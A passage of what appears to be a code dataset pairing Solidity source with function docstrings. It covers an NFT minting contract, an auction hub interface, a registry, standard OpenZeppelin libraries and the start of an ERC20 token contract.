* @param _tokenID Token ID of the new token created
*/
function _createToken(
address _owner,
address _creator,
uint256 _tokenID,
string memory _uri
)
internal
{
// Setting the creator
tokens_[_tokenID].creator = _creator;
// Adding the tokens owner
tokens_[_tokenID].currentOwner = _owner;
// Adding the URI for the token
tokens_[_tokenID].uri = _uri;
// Adding the token to the owner
owners_[_owner][_tokenID] = true;
// Increasing the owners token count
ownerBalances_[_owner] = ownerBalances_[_owner].add(1);
}
/**
* @param _to Address receiving the newly minted token
* @return uint256 The ID of the new token created
* @notice Will revert if _to is the 0x address
*/
function _mint(address _to, address _creator, string memory _uri) internal returns(uint256) {
require(_to != address(0), "NFT: Cannot mint to zero address");
// Incrementing token trackers
totalMinted_ = totalMinted_.add(1);
circulatingSupply_ = circulatingSupply_.add(1);
uint256 tokenID = totalMinted_;
// Updating the state with the new token
_createToken(
_to,
_creator,
tokenID,
_uri
);
emit Transfer(
address(0),
_to,
tokenID
);
return tokenID;
}
/**
* @param _to Address receiving the newly minted tokens
* @param _amount The amount of tokens to mint
* @return uint256[] The IDs of the new tokens created
* @notice Will revert if _to is the 0x address
*/
function _batchMint(
address _to,
address _creator,
uint256 _amount,
uint256 _originalTokenID,
uint256 _batchID
)
internal
returns(uint256[] memory, uint256)
{
require(_to != address(0), "NFT: Cannot mint to zero address");
uint256[] memory tokenIDs = new uint256[](_amount);
string memory uri = this.tokenURI(_originalTokenID);
uint256 batch;
if(_batchID == 0) {
batchMintCounter_ += 1;
batch = batchMintCounter_;
}
for (uint256 i = 0; i < _amount; i++) {
_mint(_to, _creator, uri);
tokenIDs[i] = totalMinted_;
batchTokens_[batch].tokenIDs.push(totalMinted_);
}
emit BatchTransfer(
address(0),
_to,
tokenIDs
);
return (tokenIDs, batch);
}
/**
* @param _owner Address of the owner
* @param _tokenID Token ID of the token being destroyed
*/
function _destroyToken(
address _owner,
uint256 _tokenID
)
internal
{
// Reducing circulating supply.
circulatingSupply_ = circulatingSupply_.sub(1);
// Removing the tokens owner
tokens_[_tokenID].currentOwner = address(0);
// Remove the tokens creator
tokens_[_tokenID].creator = address(0);
// Removing the token from the owner
owners_[_owner][_tokenID] = false;
// Decreasing the owners token count
ownerBalances_[_owner] = ownerBalances_[_owner].sub(1);
}
/**
* @param _from Address that was the last owner of the token
* @param _tokenID Token ID of the token being burnt
*/
function _burn(address _from, uint256 _tokenID) internal {
require(_from != address(0), "NFT: Cannot burn from zero address");
_destroyToken(
_from,
_tokenID
);
emit Transfer(
_from,
address(0),
_tokenID
);
}
/**
* @param _from Address that was the last owner of the token
* @param _tokenIDs Array of the token IDs being burnt
*/
function _batchBurn(address _from, uint256[] memory _tokenIDs) internal {
require(_from != address(0), "NFT: Cannot burn from zero address");
for (uint256 i = 0; i < _tokenIDs.length; i++) {
_destroyToken(
_from,
_tokenIDs[i]
);
}
emit BatchTransfer(
_from,
address(0),
_tokenIDs
);
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokens_[tokenId].currentOwner != address(0);
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IHub {
enum LotStatus {
NO_LOT,
LOT_REQUESTED,
LOT_CREATED,
AUCTION_ACTIVE,
AUCTION_RESOLVED,
AUCTION_RESOLVED_AND_CLAIMED,
AUCTION_CANCELED
}
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
function getLotInformation(uint256 _lotID)
external
view
returns (
address owner,
uint256 tokenID,
uint256 auctionID,
LotStatus status
);
function getAuctionInformation(uint256 _auctionID)
external
view
returns (
bool active,
string memory auctionName,
address auctionContract,
bool onlyPrimarySales
);
function getAuctionID(address _auction) external view returns (uint256);
function isAuctionActive(uint256 _auctionID) external view returns (bool);
function getAuctionCount() external view returns (uint256);
function isAuctionHubImplementation() external view returns (bool);
function isFirstSale(uint256 _tokenID) external view returns (bool);
function getFirstSaleSplit()
external
view
returns (uint256 creatorSplit, uint256 systemSplit);
function getSecondarySaleSplits()
external
view
returns (
uint256 creatorSplit,
uint256 sellerSplit,
uint256 systemSplit
);
function getScalingFactor() external view returns (uint256);
// -----------------------------------------------------------------------
// PUBLIC STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function requestAuctionLot(uint256 _auctionType, uint256 _tokenID)
external
returns (uint256 lotID);
// -----------------------------------------------------------------------
// ONLY AUCTIONS STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function firstSaleCompleted(uint256 _tokenID) external;
function lotCreated(uint256 _auctionID, uint256 _lotID) external;
function lotAuctionStarted(uint256 _auctionID, uint256 _lotID) external;
function lotAuctionCompleted(uint256 _auctionID, uint256 _lotID) external;
function lotAuctionCompletedAndClaimed(uint256 _auctionID, uint256 _lotID)
external;
function cancelLot(uint256 _auctionID, uint256 _lotID) external;
// -----------------------------------------------------------------------
// ONLY REGISTRY STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function init() external returns (bool);
}
//SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
// Registry managed contracts
import "../auctions/IHub.sol";
import "../royalties/IRoyalties.sol";
import "../nft/INft.sol";
contract Registry is Ownable, ReentrancyGuard {
// -----------------------------------------------------------------------
// STATE
// -----------------------------------------------------------------------
// Storage of current hub instance
IHub internal hubInstance_;
// Storage of current royalties instance
IRoyalties internal royaltiesInstance_;
// Storage of NFT contract (cannot be changed)
INft internal nftInstance_;
// -----------------------------------------------------------------------
// CONSTRUCTOR
// -----------------------------------------------------------------------
constructor(address _nft) Ownable() {
require(INft(_nft).isActive(), "REG: Address invalid NFT");
nftInstance_ = INft(_nft);
}
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
function getHub() external view returns (address) {
return address(hubInstance_);
}
function getRoyalties() external view returns (address) {
return address(royaltiesInstance_);
}
function getNft() external view returns (address) {
return address(nftInstance_);
}
function isActive() external view returns (bool) {
return true;
}
// -----------------------------------------------------------------------
// ONLY OWNER STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function updateHub(address _newHub) external onlyOwner nonReentrant {
IHub newHub = IHub(_newHub);
require(_newHub != address(0), "REG: cannot set HUB to 0x");
require(
address(hubInstance_) != _newHub,
"REG: Cannot set HUB to existing"
);
require(
newHub.isAuctionHubImplementation(),
"REG: HUB implementation error"
);
require(IHub(_newHub).init(), "REG: HUB could not be init");
hubInstance_ = IHub(_newHub);
}
function updateRoyalties(address _newRoyalties)
external
onlyOwner
nonReentrant
{
require(_newRoyalties != address(0), "REG: cannot set ROY to 0x");
require(
address(royaltiesInstance_) != _newRoyalties,
"REG: Cannot set ROY to existing"
);
require(IRoyalties(_newRoyalties).init(), "REG: ROY could not be init");
royaltiesInstance_ = IRoyalties(_newRoyalties);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IRoyalties {
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
function getBalance(address _user) external view returns (uint256);
function getCollateral() external view returns (address);
// -----------------------------------------------------------------------
// PUBLIC STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function deposit(address _to, uint256 _amount) external payable;
function withdraw(uint256 _amount) external payable;
// -----------------------------------------------------------------------
// ONLY REGISTRY STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function init() external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
interface INft {
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
/**
* @param _tokenID The ID of the token
* @return address of the owner for this token
*/
function ownerOf(uint256 _tokenID) external view returns(address);
/**
* @param _tokenID The ID of the token
* @return address of the creator of the token
*/
function creatorOf(uint256 _tokenID) external view returns(address);
/**
* @param _owner The address of the address to check
* @return uint256 The number of tokens the user owns
*/
function balanceOf(address _owner) external view returns(uint256);
/**
* @return uint256 The total number of circulating tokens
*/
function totalSupply() external view returns(uint256);
/**
* @param _owner Address of the owner
* @param _spender The address of the spender
* @param _tokenID ID of the token to check
* @return bool The approved status of the spender against the owner
*/
function isApprovedSpenderOf(
address _owner,
address _spender,
uint256 _tokenID
)
external
view
returns(bool);
/**
* @param _minter Address of the minter being checked
* @return isMinter If the minter has the minter role
* @return isActiveMinter If the minter is an active minter
*/
function isMinter(
address _minter
)
external
view
returns(
bool isMinter,
bool isActiveMinter
);
function isActive() external view returns(bool);
function isTokenBatch(uint256 _tokenID) external view returns(uint256);
function getBatchInfo(
uint256 _batchID
)
external
view
returns(
uint256 baseTokenID,
uint256[] memory tokenIDs,
bool limitedStock,
uint256 totalMinted
);
// -----------------------------------------------------------------------
// PUBLIC STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _spender The address of the spender
* @param _tokenID ID of the token to check
* @param _approvalSpender The status of the spenders approval on the
* owner
* @notice Will revert if msg.sender is the spender or if the msg.sender
* is not the owner of the token.
*/
function approveSpender(
address _spender,
uint256 _tokenID,
bool _approvalSpender
)
external;
// -----------------------------------------------------------------------
// ONLY AUCTIONS (hub or spokes) STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _to Address of receiver
* @param _tokenID Token to transfer
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function transfer(
address _to,
uint256 _tokenID
)
external;
/**
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function batchTransfer(
address _to,
uint256[] memory _tokenIDs
)
external;
/**
* @param _from Address being transferee from
* @param _to Address to transfer to
* @param _tokenID ID of token being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenID
)
external;
/**
* @param _from Address being transferee from
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIDs
)
external;
// -----------------------------------------------------------------------
// ONLY MINTER STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _tokenCreator Address of the creator. Address will receive the
* royalties from sales of the NFT
* @param _mintTo The address that should receive the token. Note that on
* the initial sale this address will not receive the sale
* collateral. Sale collateral will be distributed to creator and
* system fees
* @notice Only valid active minters will be able to mint new tokens
*/
function mint(
address _tokenCreator,
address _mintTo,
string calldata identifier,
string calldata location,
bytes32 contentHash
) external returns(uint256);
/**
* @param _mintTo The address that should receive the token. Note that on
* the initial sale this address will not receive the sale
* collateral. Sale collateral will be distributed to creator and
* system fees
* @param _amount Amount of tokens to mint
* @param _baseTokenID ID of the token being duplicated
* @param _isLimitedStock Bool for if the batch has a pre-set limit
*/
function batchDuplicateMint(
address _mintTo,
uint256 _amount,
uint256 _baseTokenID,
bool _isLimitedStock
)
external
returns(uint256[] memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
|
_tokenId ID of the token to get the URI of return string the token URI/
|
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
return tokens_[_tokenId].uri;
}
| 11,753,043
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
